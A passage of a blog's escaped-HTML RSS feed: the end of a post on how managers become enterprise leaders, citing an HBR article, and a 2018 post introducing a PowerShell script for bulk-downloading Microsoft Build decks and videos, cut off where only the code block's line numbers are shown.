&lt;li&gt;&lt;strong&gt;Analyst to Integrator&lt;/strong&gt; – Integrate the collective knowledge of cross-functional teams and make appropriate trade-offs to solve complex organizational problems.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tactician to Strategist&lt;/strong&gt; – Shift fluidly between the details and the larger picture, perceive important patterns in complex environments, and anticipate and influence the reactions of key external players.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bricklayer to Architect&lt;/strong&gt; – Understand how to analyze and design organizational systems so that strategy, structure, operating models, and skill bases fit together effectively and efficiently, and harness this understanding to make needed organizational changes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Problem Solver to Agenda Setter&lt;/strong&gt; – Define the problems the organization should focus on, and spot issues that don’t fall neatly into any one function but are still important.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Warrior to Diplomat&lt;/strong&gt; – Proactively shape the environment in which the business operates by influencing key external constituencies, including the government, NGOs, the media, and investors.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Supporting Cast Member to Lead Role&lt;/strong&gt; – Exhibit the right behaviors as a role model for the organization and learn to communicate with and inspire large groups of people both directly and, increasingly, indirectly.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I was surprised on how few people talk about this. These come from an awesome HBR article called &lt;a
	
		href = &#34;https://hbr.org/2012/06/how-managers-become-leaders&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		How Managers become Leaders
	&lt;/span&gt;
&lt;/a&gt;, which if you haven’t read, I would highly recommend.&lt;/p&gt;
&lt;p&gt;So, what can one do? The suggestions outlined are not rocket science, but something to think about. And fundamentally not that much different on how the armed forces trains new officers.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give potential leaders:
&lt;ul&gt;
&lt;li&gt;Experience on cross-functional projects&lt;/li&gt;
&lt;li&gt;An international assignment&lt;/li&gt;
&lt;li&gt;Exposure to a broad range of business situations - accelerated growth, sustaining success, realignment, turnaround.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;When a high potentials&amp;rsquo; leadership promise becomes evident give them:
&lt;ul&gt;
&lt;li&gt;A position on a senior management team&lt;/li&gt;
&lt;li&gt;Experience with external stakeholders&lt;/li&gt;
&lt;li&gt;An assignment as chief of staff for an experienced enterprise leader&lt;/li&gt;
&lt;li&gt;An appointment to lead an acquisition integration or a substantial restructuring&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Just before their first leadership promotion:
&lt;ul&gt;
&lt;li&gt;Send them to an executive program that addresses capabilities like - organizational design, business process improvement, and transition management.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;When promoted, place new enterprise leaders in business units:
&lt;ul&gt;
&lt;li&gt;That are small, distinct, and thriving&lt;/li&gt;
&lt;li&gt;And are staffed with an experienced and assertive team that they can learn from.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Download Build deck and video (2018)</title>
      <link>/post/2018/05/download-build-deck-and-video-2018/</link>
      <pubDate>Sun, 27 May 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/05/download-build-deck-and-video-2018/</guid>
      <description>&lt;p&gt;Just as &lt;a
	
		href = &#34;/post/2017/05/download-build-2017-decks-and-video/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		last year
	&lt;/span&gt;
&lt;/a&gt;, I wrote a PowerShell script using which you can download the PowerPoint decks, and, videos from Microsoft Build’s conference, instead of streaming it (or manually download it one by one). You can choose if you want the decks, or the videos, or both. For the videos you can choose the desired resolution (Low, Medium, High) – of course the higher the resolution, the more space is needed. The script also downloads the description and if there is a session image (if there is one).&lt;/p&gt;
&lt;p&gt;A few points to note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The slides only once downloaded is ~10GB and with videos (high-resolution), the size goes up to 90.5 GB. So make sure you have enough space.&lt;/li&gt;
&lt;li&gt;By default the download location is &lt;code&gt;C:\build-2018\&lt;/code&gt;; you can change this to whatever you want, but make sure there is a trailing backslash. Think of this as the ‘base’ folder.&lt;/li&gt;
&lt;li&gt;For each session a sub-folder with the session name will be created in the ‘base’ folder setup in the previous step.&lt;/li&gt;
&lt;li&gt;If a file already exists, it will be &lt;strong&gt;skipped&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;As each file is downloaded, it save it in the root folder and once the download is complete, only then moves it in the relevant subfolder.&lt;/li&gt;
&lt;li&gt;If a download fails for some reason to retry it, delete the ‘left over’ file(s) in the base folder and then run the script again. The script itself will &amp;rsquo;eat&amp;rsquo; the exception and move on to the next file.&lt;/li&gt;
&lt;li&gt;The video quality parameter is 1 for Low, 2 for Medium, and 3 for High (default).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And if you read through, the script is quite self-explanatory.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;  1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;  2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;  3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;  4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;  5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;  6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;  7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;  8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;  9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt; 10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt; 11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt; 12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt; 13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt; 14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt; 15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt; 16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt; 17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt; 18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt; 19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt; 20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt; 21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt; 22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt; 23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt; 24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt; 25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt; 26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt; 27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt; 28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt; 29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt; 30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt; 31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt; 32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt; 33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt; 34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt; 35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt; 36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt; 37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt; 38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt; 39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt; 40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt; 41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt; 42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt; 43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt; 44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt; 45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt; 46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt; 47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt; 48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt; 49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt; 50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt; 51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt; 52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt; 53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt; 54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt; 55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt; 56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt; 57&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;58&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#58&#34;&gt; 58&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;59&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#59&#34;&gt; 59&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;60&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#60&#34;&gt; 60&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;61&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#61&#34;&gt; 61&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;62&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#62&#34;&gt; 62&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;63&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#63&#34;&gt; 63&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;64&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#64&#34;&gt; 64&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;65&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#65&#34;&gt; 65&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;66&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#66&#34;&gt; 66&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;67&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#67&#34;&gt; 67&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;68&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#68&#34;&gt; 68&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;69&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#69&#34;&gt; 69&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;70&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#70&#34;&gt; 70&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;71&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#71&#34;&gt; 71&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;72&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#72&#34;&gt; 72&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;73&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#73&#34;&gt; 73&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;74&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#74&#34;&gt; 74&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;75&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#75&#34;&gt; 75&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;76&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#76&#34;&gt; 76&lt;/a&gt;
